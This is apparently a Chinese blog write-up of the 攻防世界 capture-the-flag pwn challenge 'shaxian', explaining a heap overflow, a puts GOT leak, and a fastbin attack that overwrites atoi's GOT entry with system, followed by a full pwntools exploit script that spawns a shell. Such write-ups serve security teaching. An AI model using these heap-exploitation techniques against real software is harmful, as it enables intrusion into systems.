攻防世界 pwn 进阶 shaxian

保护
在这里插入图片描述
先留下了地址跟电话。
在这里插入图片描述
点餐函数。
在这里插入图片描述结构大概是这样的
在这里插入图片描述然后点餐那里可以溢出

submit
在这里插入图片描述他这很有意思他这个程序记录你不停点餐的方式是在那个空间最后八个字节放进去了bss上地址本来有的东西,然后free之后再给它放回去,就是套娃的样子。但是我们能够溢出啊,我们之间可以控制它最后放在我们那个地方的地址,这不就好起来了嘛?

receipt
在这里插入图片描述

review
在这里插入图片描述
view循环着把东西都输出出来。

那么这道题大致的利用思路是什么,是通过溢出,把结构体最下面的那个指针改成got表的地址,然后就可以达到在输出函数输出的时候打印我们需要的地址。
有了地址之后我们还是利用溢出,从chunk0溢出到chunk1,修改fd,然后利用fastbin_attack,对存放结构体地址的那个地方进行攻击,当然我们需要进行伪造,将结构体地址覆盖成atoi的got表地址,然后改成system函数,从而get shell。

在这里插入图片描述在最后申请到fake_chunk之后通过这些代码来劫持got,利用的非常巧妙,先输入的是内容,把note地方写成atoi的got表地址,然后v0等于note,也就是等于的是atoi的got,然后往里面写many,这个时候你就把many输入的时候写system的地址就行。

#coding:utf8
from pwn import *
 
#r = remote('111.200.241.244',54867)
r = process("./shaxian")
elf = ELF('./shaxian')
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
ptr = 0x804B1C0
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_i386/libc-2.23.so")
#libc = ELF("./32/libc-2.23.so")
context.log_level = "debug"

def add(count,content):
    r.sendlineafter('choose:','1')
    r.sendlineafter('5.Jianjiao',content)
    r.sendlineafter('How many?',count)
 
def delete():
    r.sendlineafter('choose:','2')
 
def show():
    r.sendlineafter('choose:','4')
 
r.sendlineafter('Your Address:','123')
fake_chunk = p32(0) + p32(0x31)
payload = 'd'*(0x100-0x10) + fake_chunk
r.sendlineafter('Your Phone number:',payload)
 
add('1','a') #0
add('1','b') #1
add('1','c') #2
delete()

payload = 'a'*0x20 + p32(puts_got-0x4)
#这里的puts_got - 0x4是因为申请到的空间前四个字节是many,这样就可以把puts_got里面的内容放到content之中。
#当然通过many也可以泄露,因为它输出的时候many也会输出出来。
#prev_size size fd
payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1
add('1',payload)
show()
r.recvuntil('* 1\n')
puts_addr = u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

print str(system_addr )
print str(system_addr - 0x100000000)

add('10','b') #chunk1
#申请堆块到ptr上方的假chunk处,将ptr指针覆盖为atoi的got地址,同时修改atoi的got表

add(str(system_addr - 0x100000000),'dddd' + p32(atoi_got))

#这个地方要注意,为什么输入的是地址减0x100000000,而不是直接输入地址就好
#可以试一下,str在转换的时候,把地址直接转换成了无符号整型
#但是在减去一个比自己打的数之后会变成负数
#那么虽然十六进制一样,差别就是你输入的是无符号整形,还是有符号的
#经过调试,atoi函数的核心是strtol函数,strtol函数的核心是strtol_internal
#它在处理无符号整数的时候当这个数字超过它的最大整数0x7fffffff,就会把数字设置成0x7fffffff
#所以在把地址输入无符号整数的话,返回的结果就是0x7fffffff

#getshell
r.sendline('/bin/sh')
 
r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值